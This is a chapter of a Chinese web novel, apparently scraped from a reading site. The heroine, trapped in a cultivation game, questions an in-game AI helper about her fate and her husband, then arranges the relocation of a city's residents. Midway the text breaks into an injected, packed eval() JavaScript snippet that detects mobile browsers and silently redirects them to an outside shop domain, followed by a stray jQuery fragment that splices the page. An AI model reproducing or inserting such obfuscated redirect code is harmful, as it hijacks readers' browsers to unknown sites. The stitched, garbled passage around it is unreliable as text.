和宜很茫然。
她困惑地问:“游戏设定里,我难道不就是个普通凡人吗?他怎么找我那么久,不对,我怎么活那么久?难道是未来的我回到过去了吗?”
ai小助手答道:
【这是你们的故事,你可以自行探索。我无法告诉你。】
和宜蹙眉:“那结缘弦呢,这个你可以告诉我吗?还有天外之意,为什么会是禁锢我的枷锁?”
【结缘弦是褚观澜炼制的法器,它汇聚了因果之力,拨动结缘弦,便可设立因果。因一旦成立,果就必然发生。】
“我想要这个!”和宜兴奋大喊。
【在为你拨动后已经损毁了。】
和宜垂头丧气。
【至于天外之意,因它和你本源相同,所以可以束缚你留在此界。】
“那我要怎么摆脱它呢?有这东西我是不是就没办法飞升了啊?”
不要啊,她的主线任务!
【如果有人付出足够的代价的话,是的。除非飞升,否则你无法离开平澜。】
和宜揉了揉脑袋,忽然顿悟,为什么游戏主线是飞升了。
对于玩家而言,飞升并非为了永生或力量,而是为了结束。
角色满级,游戏通关。
“我越强,阻止我离开的代价就越大是不是?”
【是。】
没有人付的起代价,就没有人能束缚住她。
和宜想,那和燕临歧双修还是太有必要了。
她必须狠狠吸点他的修为。
ai小助手无语。
【你有没有想过,最可能利用这缕道意囚禁你的人是谁?】
和宜:“那我怎么知道?”
【……道意现在在谁手上?】
和宜猜测道:“燕临歧?”
【不错。】
和宜不以为意:“他是我老公啊。他还能害我不成?”
【或许我应该告诉你,她母亲就是杀了他父亲后飞升的。】
和宜的心猛的一震。
【在褚观澜之前,那位纪年被确立为焦芹的飞升者,是燕临歧的母亲。】
“你也是天道吗?”
这似曾相识的感觉,让和宜忍不住问道,“这也是游戏体验的一环吗?”
【我不是天道,这也不是游戏体验的一环。】
“哦。”和宜说,“我还以为这也是打破第四面墙的一部分呢。话说我还有个问题,你之前一直不回我,是因为什么?”
【不影响你沉浸式体验游戏。】
那它现在直接蹦出来给她弹一堆信息难道就不影响了吗?
和宜腹诽。
【还有问题吗?问完,你就该继续沉浸地体验游戏了。】
和宜忽然明白了这句话的含义:它不会再随叫随应了。
联想到薛云梦、天道和小助手的一系列行为,她有了一个大胆的想法。
“因为燕临歧?他在的时候,我就必须沉浸式游戏?”
【最好如此。】
和宜明白了:“所以现在你又要消失了,是因为他来了,对吗?”
小助手无言。
只有一道门在她面前被强硬地打开。
和宜竟从那门缓慢开启的样子中诡异地看出了几分不情愿的意味。
先伸进来的是他的手。
和宜着迷地看了一会儿那只青筋暴起,用力至极的手。
她的意思是……
她有点想亲了。
和宜神思飘远,她好像还没在他用力地时候咬过他的手呢?
口感上肯定很不一样。
燕临歧跻身进来,脸上带着淡淡的倦容,“怎么来这里玩了?”
“来给我的城民物色新去处。”
“寒玉城吗?”燕临歧把和宜圈在怀中,一个刹那便带出了这处空间。
“我把立秧的人赶到这儿来,怎么样?”
“可以。”
燕临歧并不关心立秧城的人会被送到哪里去。
别在立秧城就行了。
和宜朝代春柔打了个招呼,想找他聊聊。
但燕临歧靠在她的肩上,低语:“换个日子可以吗?今天你离开我有点久了。”
和宜沉默,和宜诧异,和宜震惊。
“只有三个小时呀。”
她小声嘟囔。
“三分钟也很久了。”
和宜只好答应他。
回家里没腻歪一会儿,就收到了滕锦文的邀请。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861828|212033||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
燕临歧面色不虞,但和宜坚持要见。
“我也不能只和你亲亲抱抱吧,任务还是要做的!”
“你已经离开我一上午了。”
“那就把他叫到家里来。”
和宜不容拒绝道。
燕临歧硬要跟随,她把他赶回了屋子里:“你在里面又不是看不见听不着,过来干嘛呀?快别吓唬他了。”
于是,滕锦文到的时候,虽然只见到了和宜一人,但凛冽的肃杀之气,却是半点不避着他。
他心中了悟,知道不高兴的是谁,便快速说出了自己此行的目的。
原来他从卜从霜那里听说了和宜想要把立秧城搬空的想法,特地和他的道侣沟通过后,觉得能帮上点忙。
碧海烟归这种等级的珍宝,恐怕只有倾立秧城之力,才能勉强做其对价。
“我道侣是璇玑宗的长老,她可以做主,接纳立秧城现有的居民到远山涧。城中凡人,或可迁回凡间,别地不如立秧,并无爱惜凡人的大能。”滕锦文说出了他的想法,“至于其余一应花草鸟兽精灵,可放归山野。”
和宜没什么意见。
“需要多久?”
“三日。”
和宜惊讶。
立秧城常驻人口有约五十万,这么快吗?
不需要说服别人搬家吗?
“凡人遣送比较麻烦,修士大多会识时务。”
和宜:“我不喜欢威逼利诱。”
滕锦文叹道:“易元宗宗主今早公布了他昨日的卜算,卦象显示,地陷将至,七日内,立秧城将沉入漠西地底。他本来打算找禾秧商议此事,但是卜从霜告诉了他你的计划,所以他只是公开了他的卜卦。”
“不需要我劝,他们自己会逃的。是吗?”
滕锦文点头。
和宜不知说什么好。
她向滕锦文道谢,约定一旦居民转移完毕,就视为知音阁支付完碧海烟归的对价。这支曲子,从此归知音阁所有。
“抱歉,”滕锦文说,“归我个人所有,可以吗?”
“你挖东家墙角啊?!”和宜说。
“协助安置的人是我妻子。”滕锦文小声辩解。
付钱的是他们,东西当然也是他们的!